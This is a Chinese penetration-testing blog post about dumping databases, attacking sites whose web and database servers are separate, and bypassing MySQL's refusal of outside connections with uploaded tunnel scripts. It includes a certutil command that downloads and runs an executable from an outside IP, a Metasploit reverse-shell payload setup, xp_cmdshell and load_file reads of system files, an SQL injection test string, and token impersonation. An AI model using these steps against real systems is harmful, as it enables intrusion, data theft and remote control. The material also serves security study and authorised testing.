脱库&站库分离渗透&解决MySQL禁止外连


打包数据库文件

  1. access 数据库:mdb格式直接下载

  2. MySQL数据库:在路径mysql/data/下存放所有数据库,直接将文件夹复制到web目录tar打包下载

    image-20211122203800161

  3. mssql数据库:msdbdata.mdf msdblog.ldf 两个文件复制,直接下载

SQL语句打包数据库

MySQL

登录数据库,命令备份数据库

  • mysqldump -u db_user -p db_passwd db_name > 1.sql //备份指定数据库

  • cd /var/lib/mysql

    mysqldump -u db_user -p db_passwd > 1.sql //先进入数据库目录再备份

  • mysqldump --all-databases > 1.sql //备份所有数据库

数据库还原

  • mysql -u db_user -p db_passwd db_name < 1.sql //还原指定数据库

  • cd /var/lib/mysql

    mysql -u db_user db_passwd < 1.sql //先进入数据库目录再还原

mysqldump 命令不仅可以在数据中使用,有权限的话也可以在命令行中使用

SQL server

登录数据库

backup database Test to disk='D:/Test.bak'

使用工具打包数据库

如果在知道数据库账密的情况下可以使用这种方式,存在web端数据管理直接用

mysql

  • adminer
  • phpmyadmin
  • navformysql

mssql

  • navfor for sql server

navicat 也是可以的

以及webshell管理工具如蚁剑、菜刀等都有数据管理功能

站库分离渗透

注:此部分转载于潇湘信安

站库分离其实就是管理员将网站程序和数据库分别放在了不同的服务器上,这样看似提高了数据安全性,但是如果网站存在漏洞,攻击者还是有可能以Web或Data为入口访问到内网数据库服务器中的数据

Web入口渗透

通过网站的各种漏洞来Getshell,如:文件上传、文件包含、命令执行、代码执行、SQL注入写入一句话(Into outfile、日志备份)等,在获得Webshell权限或者有诸如文件读取等漏洞时,我们可以读数据库配置文件、对数据库内容分析、查找数据库备份,进而对内网数据库服务器进行渗透

Data入口渗透

从数据库入口渗透同样是为了获取更大的权限,或者扩展我们的渗透成果。比如从这台数据库服务器中可以得到网站和数据库的一些用户、密码等信息,在后续的内网渗透中可以很有效的帮助我们

通过外网暴露的数据库弱口令、反编译或嗅探C/S客户端以及Web网站SQL注入漏洞等,在获得数据库账户密码或者利用sqlmap进入到os-shell、sql-shell,这时我们不能写入Webshel,因为这台数据库服务器中没有Web环境,但可以通过以下方式来做信息搜集和获取权限,先拿到这台数据库服务器权限,然后再尝试对Web服务器和内网其他主机进行渗透

站库分离判断方法

1.网络连接状态

通过Netstat命令查看MSSQL数据库1433端口的网络连接状态,可以看到与当前MSSQL数据库服务器192.168.32.8建立连接的只有192.168.32.3,由此可以判断这台主机为Web服务器

netstat -ano | findstr "1433"

站库分离常规渗透思路总结

2.数据库配置文件

通过网站程序数据库配置文件来判断是否站库分离,如果数据库IP地址是localhost、127.0.0.1或当前主机内网IP则说明为同服务器,反之则可能为站库分离,自建公网数据库和RDS云数据库除外

3.MySQL内置函数和库

通过MySQL的@@hostname内置函数可以查看服务端主机名称,information_schema内置库的PROCESSLIST可以定位到当前已连接数据库的用户名、主机和端口号等信息,Windows连接格式:主机名:Port,Linux连接格式:IP:Port,本地连接格式:localhost:Port

select @@hostname;                                 //服务端主机名称
select * from information_schema.PROCESSLIST;      //客户端主机名称和端口

站库分离常规渗透思路总结

也可以通过load_file()这个内置函数读取一些敏感文件,如:hosts文件中解析的一些内网业务的IP地址和域名,IIS/Apache/Nginx/Tomcat/Jboss/Weblogic/Websphere的相关配置文件以及网卡信息等

select load_file('C:/Windows/System32/drivers/etc/hosts');

/etc/hosts
/etc/apache2/apache2.conf
/etc/httpd/conf/httpd.conf
/etc/udev/rules.d/70-persistent-net.rules          //获取网卡名称
/etc/network/interfaces                            //DHCP或静态IP
/var/lib/dhclient/dhclient--网卡.lease             //DHCP
/etc/sysconfig/network-scripts/ifcfg-网卡          //静态IP
C:/Windows/System32/drivers/etc/hosts
C:/Windows/system32/inetsrv/MetaBase.xml
C:/Windows/System32/inetsrv/config/applicationHost.config
C:/phpStudy/Apache/conf/httpd.conf
C:/phpStudy/Apache/conf/vhosts.conf
C:/phpStudy/PHPTutorial/Apache/conf/httpd.conf
C:/phpStudy/PHPTutorial/Apache/conf/vhosts.conf
C:/phpStudy/PHPTutorial/nginx/conf/nginx.conf
C:/phpStudy/PHPTutorial/nginx/conf/vhosts.conf
[...SNIP...]

4.MSSQL内置函数和表

通过MSSQL的host_name()、@@servername和serverproperty几个内置函数来判断是否站库分离,如果客户端与服务端返回的主机名不一样则说明为站库分离,返回的主机名一样则说明可能为同服务器

select host_name();                       //客户端主机名称
select @@servername;                      //服务端主机名称
select serverproperty('MachineName');     //服务端主机名称

也可以通过MSSQL的sysprocesses系统表来判断是否站库分离,它的功能类似于MySQL中的PROCESSLIST,可以定位到当前已连接到sqlinject数据库的用户名和主机名等信息

有时会有内网多台Web服务器同时连接一台数据库服务器中的不同数据库,这时我们就可以利用这种方式来查看连接到某数据库的用户名和主机名等信息,然后使用Ping主机名得到这台Web服务器的内网IP地址

select name from master.sys.sysdatabases;
select * from master.sys.sysprocesses where dbid= db_id('sqlinject');
exec master..xp_cmdshell 'cmd /c ping WIN-111111111';

还可以直接通过以下MSSQL注入语句来判断是否站库分离,news必须为数据库中存在的表名,当然用其他存在的表名也是可以的,如果注入页面返回不正常则说明为站库分离,反之则为同服务器

and exists(select * from news where 1=(SELECT (case when host_name()=@@servername then 1 else 0 end)))

站库分离常规渗透思路总结

站库分离利用思路

1.下载远程文件

目标主机允许通外网时我们可以利用Vbs/Ftp/IPC$/Certutil/Bitsadmin/Powershell等方式来下载远程文件到可读写目录中,然后再去执行一下即可

certutil -urlcache -split -f http://155.**.***.229:8888/msf.exe C:ProgramDatamsf.exe
C:ProgramDatamsf.exe

站库分离常规渗透思路总结

2.执行远程Payload

目标主机允许通外网时我们可以直接利用Metasploit下的exploit/multi/script/web_delivery和exploit/windows/misc/hta_server两个模块来执行远程Payload获取会话,比第一种方法更简单快捷

set target 1
set payload windows/x64/meterpreter/reverse_tcp
set lhost 155.**.***.229
set lport 443
exploit

3.模拟令牌权限提升

笔者曾经在几个这样的“MSSQL站库分离”实战环境中直接通过Incognito扩展中的模拟令牌功能获取到数据库服务器的Admin/SYSTEM令牌

在本地“站库分离”靶场环境中测试发现,只要有主机在使用Windows身份验证连接到这台数据库服务器的MSSQL时就会保留当前登录用户的令牌,而大多数人又都是以默认Administrator管理员来安装的MSSQL,所以能够直接获取到Administrator令牌

支持Windows身份验证的数据库连接工具有:sqlcmd、SSMS和Navicat Premium等

C:Program FilesMicrosoft SQL Server100ToolsBinnsqlcmd.exe -S "192.168.1.109" -E

站库分离常规渗透思路总结

推荐阅读

  • https://xz.aliyun.com/t/8584

站库分离打包数据库

  • MySQL

    站库分离情况下,MySQL数据库是一定支持外部访问的

    使用webshell管理工具如蚁剑、菜刀等都有数据管理功能,以及使用数据库管理工具打包

  • SQL server

    使用webshell管理工具如蚁剑、菜刀等都有数据管理功能

解决MySQL禁止外连

蚁剑

在地址上右击选择数据操作

image-20211120213356143

点击左侧工具栏的添加按钮,连接字符串就是index.aspx文件泄露的

image-20211120213330489

Navicat tunnel隧道

目标 MySQL 不允许外连,但是可以上传 PHP 脚本:

img

这个时候可以使用 Navicat 自带的 tunnel 隧道脚本上传到目标网站上:

img

实际上 Navicat 很久很久以前就自带这些脚本了,这个脚本有点类似于 reGeorg,只是官方的脚本用起来更舒服方便一点,脚本的界面如下:

如下:

img

接着连接的时候设置 HTTP 通道:

img

这个时候主机地址填写 localhost 即可:

img

  • 8
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

OceanSec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值